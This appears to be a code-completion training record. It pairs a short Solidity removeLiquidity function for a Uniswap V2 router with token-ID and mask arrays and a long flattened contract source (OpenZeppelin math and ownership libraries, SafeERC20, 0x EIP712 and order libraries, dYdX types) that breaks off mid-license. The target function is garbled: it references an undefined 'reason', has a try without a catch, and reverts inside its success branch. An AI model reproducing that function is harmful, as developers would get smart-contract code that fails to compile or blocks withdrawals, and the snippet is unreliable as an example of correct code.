function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin ) external payable returns (uint256 amountA, uint256 amountB) { IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); address pair = UniswapV2Library.pairFor(router.factory(), tokenA, tokenB); liquidity = _getBalance(pair, liquidity); _tokenApprove(pair, UNISWAPV2_ROUTER, liquidity); try router.removeLiquidity( tokenA, tokenB, liquidity, amountAMin, amountBMin, address(this), now + 1 ) returns (uint256 ret1, uint256 ret2) { amountA = ret1; amountB = ret2; _revertMsg("removeLiquidity", reason); _revertMsg("removeLiquidity"); } _updateToken(tokenB); }
12,238,430
[ 1, 967, 640, 291, 91, 438, 58, 22, 4633, 1716, 685, 537, 1147, 1206, 4501, 372, 24237, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1206, 48, 18988, 24237, 12, 203, 3639, 1758, 1147, 37, 16, 203, 3639, 1758, 1147, 38, 16, 203, 3639, 2254, 5034, 4501, 372, 24237, 16, 203, 3639, 2254, 5034, 3844, 2192, 267, 16, 203, 3639, 2254, 5034, 3844, 38, 2930, 203, 565, 262, 3903, 8843, 429, 1135, 261, 11890, 5034, 3844, 37, 16, 2254, 5034, 3844, 38, 13, 288, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 4633, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 2124, 5127, 59, 2203, 58, 22, 67, 1457, 1693, 654, 1769, 203, 3639, 1758, 3082, 273, 203, 5411, 1351, 291, 91, 438, 58, 22, 9313, 18, 6017, 1290, 12, 10717, 18, 6848, 9334, 1147, 37, 16, 1147, 38, 1769, 203, 203, 3639, 4501, 372, 24237, 273, 389, 588, 13937, 12, 6017, 16, 4501, 372, 24237, 1769, 203, 3639, 389, 2316, 12053, 537, 12, 6017, 16, 5019, 5127, 59, 2203, 58, 22, 67, 1457, 1693, 654, 16, 4501, 372, 24237, 1769, 203, 203, 3639, 775, 203, 5411, 4633, 18, 4479, 48, 18988, 24237, 12, 203, 7734, 1147, 37, 16, 203, 7734, 1147, 38, 16, 203, 7734, 4501, 372, 24237, 16, 203, 7734, 3844, 2192, 267, 16, 203, 7734, 3844, 38, 2930, 16, 203, 7734, 1758, 12, 2211, 3631, 203, 7734, 2037, 397, 404, 203, 5411, 262, 203, 3639, 1135, 261, 11890, 5034, 325, 21, 16, 2254, 5034, 325, 22, 13, 288, 203, 5411, 3844, 37, 273, 325, 21, 31, 203, 5411, 3844, 38, 273, 325, 22, 31, 203, 5411, 389, 266, 2 ]
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-ethereum-package/contracts/drafts/SignedSafeMath.sol pragma solidity ^0.5.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // File: @openzeppelin/upgrades/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize(address sender) public initializer { _owner = sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @0x/contracts-utils/contracts/src/LibEIP712.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; library LibEIP712 { // Hash of the EIP712 Domain Separator Schema // keccak256(abi.encodePacked( // "EIP712Domain(", // "string name,", // "string version,", // "uint256 chainId,", // "address verifyingContract", // ")" // )) bytes32 constant internal _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; /// @dev Calculates a EIP712 domain separator. /// @param name The EIP712 domain name. /// @param version The EIP712 domain version. /// @param verifyingContract The EIP712 verifying contract. /// @return EIP712 domain separator. function hashEIP712Domain( string memory name, string memory version, uint256 chainId, address verifyingContract ) internal pure returns (bytes32 result) { bytes32 schemaHash = _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH; // Assembly for more efficient computing: // keccak256(abi.encodePacked( // _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH, // keccak256(bytes(name)), // keccak256(bytes(version)), // chainId, // uint256(verifyingContract) // )) assembly { // Calculate hashes of dynamic data let nameHash := keccak256(add(name, 32), mload(name)) let versionHash := keccak256(add(version, 32), mload(version)) // Load free memory pointer let memPtr := mload(64) // Store params in memory mstore(memPtr, schemaHash) mstore(add(memPtr, 32), nameHash) mstore(add(memPtr, 64), versionHash) mstore(add(memPtr, 96), chainId) mstore(add(memPtr, 128), verifyingContract) // Compute hash result := keccak256(memPtr, 160) } return result; } /// @dev Calculates EIP712 encoding for a hash struct with a given domain hash. /// @param eip712DomainHash Hash of the domain domain separator data, computed /// with getDomainHash(). /// @param hashStruct The EIP712 hash struct. /// @return EIP712 hash applied to the given EIP712 Domain. function hashEIP712Message(bytes32 eip712DomainHash, bytes32 hashStruct) internal pure returns (bytes32 result) { // Assembly for more efficient computing: // keccak256(abi.encodePacked( // EIP191_HEADER, // EIP712_DOMAIN_HASH, // hashStruct // )); assembly { // Load free memory pointer let memPtr := mload(64) mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header mstore(add(memPtr, 2), eip712DomainHash) // EIP712 domain hash mstore(add(memPtr, 34), hashStruct) // Hash of struct // Compute hash result := keccak256(memPtr, 66) } return result; } } // File: @0x/contracts-exchange-libs/contracts/src/LibOrder.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; library LibOrder { using LibOrder for Order; // Hash for the EIP712 Order Schema: // keccak256(abi.encodePacked( // "Order(", // "address makerAddress,", // "address takerAddress,", // "address feeRecipientAddress,", // "address senderAddress,", // "uint256 makerAssetAmount,", // "uint256 takerAssetAmount,", // "uint256 makerFee,", // "uint256 takerFee,", // "uint256 expirationTimeSeconds,", // "uint256 salt,", // "bytes makerAssetData,", // "bytes takerAssetData,", // "bytes makerFeeAssetData,", // "bytes takerFeeAssetData", // ")" // )) bytes32 constant internal _EIP712_ORDER_SCHEMA_HASH = 0xf80322eb8376aafb64eadf8f0d7623f22130fd9491a221e902b713cb984a7534; // A valid order remains fillable until it is expired, fully filled, or cancelled. // An order's status is unaffected by external factors, like account balances. enum OrderStatus { INVALID, // Default value INVALID_MAKER_ASSET_AMOUNT, // Order does not have a valid maker asset amount INVALID_TAKER_ASSET_AMOUNT, // Order does not have a valid taker asset amount FILLABLE, // Order is fillable EXPIRED, // Order has already expired FULLY_FILLED, // Order is fully filled CANCELLED // Order has been cancelled } // solhint-disable max-line-length /// @dev Canonical order structure. struct Order { address makerAddress; // Address that created the order. address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order. address feeRecipientAddress; // Address that will recieve fees when order is filled. address senderAddress; // Address that is allowed to call Exchange contract methods that affect this order. If set to 0, any address is allowed to call these methods. uint256 makerAssetAmount; // Amount of makerAsset being offered by maker. Must be greater than 0. uint256 takerAssetAmount; // Amount of takerAsset being bid on by maker. Must be greater than 0. uint256 makerFee; // Fee paid to feeRecipient by maker when order is filled. uint256 takerFee; // Fee paid to feeRecipient by taker when order is filled. uint256 expirationTimeSeconds; // Timestamp in seconds at which order expires. uint256 salt; // Arbitrary number to facilitate uniqueness of the order's hash. bytes makerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerAsset. The leading bytes4 references the id of the asset proxy. bytes takerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerAsset. The leading bytes4 references the id of the asset proxy. bytes makerFeeAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerFeeAsset. The leading bytes4 references the id of the asset proxy. bytes takerFeeAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerFeeAsset. The leading bytes4 references the id of the asset proxy. } // solhint-enable max-line-length /// @dev Order information returned by `getOrderInfo()`. struct OrderInfo { OrderStatus orderStatus; // Status that describes order's validity and fillability. bytes32 orderHash; // EIP712 typed data hash of the order (see LibOrder.getTypedDataHash). uint256 orderTakerAssetFilledAmount; // Amount of order that has already been filled. } /// @dev Calculates the EIP712 typed data hash of an order with a given domain separator. /// @param order The order structure. /// @return EIP712 typed data hash of the order. function getTypedDataHash(Order memory order, bytes32 eip712ExchangeDomainHash) internal pure returns (bytes32 orderHash) { orderHash = LibEIP712.hashEIP712Message( eip712ExchangeDomainHash, order.getStructHash() ); return orderHash; } /// @dev Calculates EIP712 hash of the order struct. /// @param order The order structure. /// @return EIP712 hash of the order struct. function getStructHash(Order memory order) internal pure returns (bytes32 result) { bytes32 schemaHash = _EIP712_ORDER_SCHEMA_HASH; bytes memory makerAssetData = order.makerAssetData; bytes memory takerAssetData = order.takerAssetData; bytes memory makerFeeAssetData = order.makerFeeAssetData; bytes memory takerFeeAssetData = order.takerFeeAssetData; // Assembly for more efficiently computing: // keccak256(abi.encodePacked( // EIP712_ORDER_SCHEMA_HASH, // uint256(order.makerAddress), // uint256(order.takerAddress), // uint256(order.feeRecipientAddress), // uint256(order.senderAddress), // order.makerAssetAmount, // order.takerAssetAmount, // order.makerFee, // order.takerFee, // order.expirationTimeSeconds, // order.salt, // keccak256(order.makerAssetData), // keccak256(order.takerAssetData), // keccak256(order.makerFeeAssetData), // keccak256(order.takerFeeAssetData) // )); assembly { // Assert order offset (this is an internal error that should never be triggered) if lt(order, 32) { invalid() } // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(order, 32) let pos2 := add(order, 320) let pos3 := add(order, 352) let pos4 := add(order, 384) let pos5 := add(order, 416) // Backup let temp1 := mload(pos1) let temp2 := mload(pos2) let temp3 := mload(pos3) let temp4 := mload(pos4) let temp5 := mload(pos5) // Hash in place mstore(pos1, schemaHash) mstore(pos2, keccak256(add(makerAssetData, 32), mload(makerAssetData))) // store hash of makerAssetData mstore(pos3, keccak256(add(takerAssetData, 32), mload(takerAssetData))) // store hash of takerAssetData mstore(pos4, keccak256(add(makerFeeAssetData, 32), mload(makerFeeAssetData))) // store hash of makerFeeAssetData mstore(pos5, keccak256(add(takerFeeAssetData, 32), mload(takerFeeAssetData))) // store hash of takerFeeAssetData result := keccak256(pos1, 480) // Restore mstore(pos1, temp1) mstore(pos2, temp2) mstore(pos3, temp3) mstore(pos4, temp4) mstore(pos5, temp5) } return result; } } // File: @0x/contracts-erc20/contracts/src/interfaces/IERC20Token.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract IERC20Token { // solhint-disable no-simple-event-func-name event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); /// @dev send `value` token to `to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transfer(address _to, uint256 _value) external returns (bool); /// @dev send `value` token to `to` from `from` on the condition it is approved by `from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transferFrom( address _from, address _to, uint256 _value ) external returns (bool); /// @dev `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Always true if the call has enough gas to complete execution function approve(address _spender, uint256 _value) external returns (bool); /// @dev Query total supply of token /// @return Total supply of token function totalSupply() external view returns (uint256); /// @param _owner The address from which the balance will be retrieved /// @return Balance of owner function balanceOf(address _owner) external view returns (uint256); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint256); } // File: @0x/contracts-erc20/contracts/src/interfaces/IEtherToken.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract IEtherToken is IERC20Token { function deposit() public payable; function withdraw(uint256 amount) public; } // File: contracts/external/dydx/lib/Account.sol /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; pragma experimental ABIEncoderV2; /** * @title Account * @author dYdX * * Library of structs and functions that represent an account */ library Account { // Represents the unique key that specifies an account struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } } // File: contracts/external/dydx/lib/Types.sol /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at 